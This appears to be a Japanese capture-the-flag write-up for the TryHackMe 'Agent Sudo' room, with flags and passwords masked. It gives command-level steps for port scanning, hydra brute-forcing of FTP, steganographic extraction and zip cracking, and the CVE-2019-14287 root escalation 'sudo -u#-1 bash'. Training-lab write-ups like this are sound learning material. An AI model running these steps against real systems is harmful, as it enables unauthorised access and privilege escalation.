一部を■で隠しています。
Task2: Enumerate
とりあえずnmapとgobusterしよう。
$ export IP=10.10.149.81
$ nmap -sC -sV $IP
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
$ gobuster
dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt
http://$IP/index.php (Status: 200)
最初の問題は解けるが、他はない。特にめぼしい情報がない。
とりあえず/index.phpにアクセスしてみると、なんとなくわかる。
ヒントと文字数を参考に答えを埋めていこう。
User-Agentに何を入れればいいか分からないな。Burpで辞書攻撃してみよう。
common.txtを使う。
Cが刺さりますね。Locationが追加されるのでアクセスしてみると、agent名が分かる。
Task3: Hash cracking and brute-force
FTPパスワードを特定しないといけないので、hydraで辞書攻撃してみよう。
$ hydra -l chris -P /usr/share/dirb/wordlists/rockyou.txt $IP ftp
[21][ftp] host: 10.10.149.81 login: chris password: ■■■■■■■
> ftp $IP
ftp> ls
To_agentJ.txt
cute-alien.jpg
cutie.png
ftp> get To_agentJ.txt
ftp> get cute-alien.jpg
ftp> get cutie.png
ログインできたので、全部持ってきてみる。
Agent R stored the real picture inside your directory.とファイルに書いてあるので、画像をステガノグラフィーする。
cutie.pngをAoZoraSiroNekoで解析すると、zipが埋め込まれているみたい。
binwalkで探して持ってくると、パスワード付きzipなのでjohn the ripperで解析して、解凍しよう。
$ binwalk cutie.png
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 528 x 528, 8-bit colormap, non-interlaced
869 0x365 Zlib compressed data, best compression
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
$ dd ibs=1 obs=1 skip=34562 if=cutie.png of=hidden.zip
$ zip2john hidden.zip > hash.txt
$ john hash.txt
■■■■■■ (hidden.zip/To_agentR.txt)
ok. We need to send the picture to '■■■■■' as soon as possible!
お？と思ったが、これはsteg passwordではないらしい。
いや、これだろと思って止まってしまった。
…
base64デコードすれば答えが得られます…
stegのパスワードということで、とりあえず自分の知っているsteghideを試すとデータが取れる。
$ steghide extract -sf cute-alien.jpg -p ■■■■■
wrote extracted data to "message.txt".
よーし、SSHで接続できそうな所まで来た
Task4: Capture the user flag
でここからSSH接続ができずに2年が経過する。
…
パスワードは最後の!も込みで必要。
!なくてもCorrect Answerだったんですが…
まあ、気を取り直してログイン。
$ ssh james@$IP
james@agent-sudo:~$ ls
Alien_autospy.jpg user_flag.txt
james@agent-sudo:~$ cat user_flag.txt
■■■■■■■■
$ scp james@$IP:Alien_autospy.jpg out.jpg
画像があるので、持ってくる。
全く見覚えが無いので、画像検索してみると、FOX NEWSの記事が見つかる。
Filmmaker reveals how he faked infamous 'Roswell alien autopsy' footage in a London apartment | Fox News
ok.
Task5: Privilege escalation
privilege-escalation-awesome-scripts-suite/linPEAS at master · carlospolop/privilege-escalation-awesome-scripts-suite · GitHubを使ってみるが、うまく出てこない。
いつものようにやってみる。
$ sudo -l
[sudo] password for james:
Matching Defaults entries for james on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
なんかあまり見ない形になっている。(ALL, !root) /bin/bashで検索するとCVE-2019-14287が出てくる。
sudo 1.8.27 - Security Bypass - Linux local Exploit
あとは使うと一直線
james@agent-sudo:~$ id
uid=1000(james) gid=1000(james) groups=1000(james),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
james@agent-sudo:~$ sudo -u#-1 bash
root@agent-sudo:/home# id
uid=0(root) gid=1000(james) groups=1000(james)
root@agent-sudo:~# cd /root
root@agent-sudo:/root# ls
root.txt
root@agent-sudo:/root# cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
■■■■■■■■■■■■■■■
By,
■■■■■■■ a.k.a Agent R
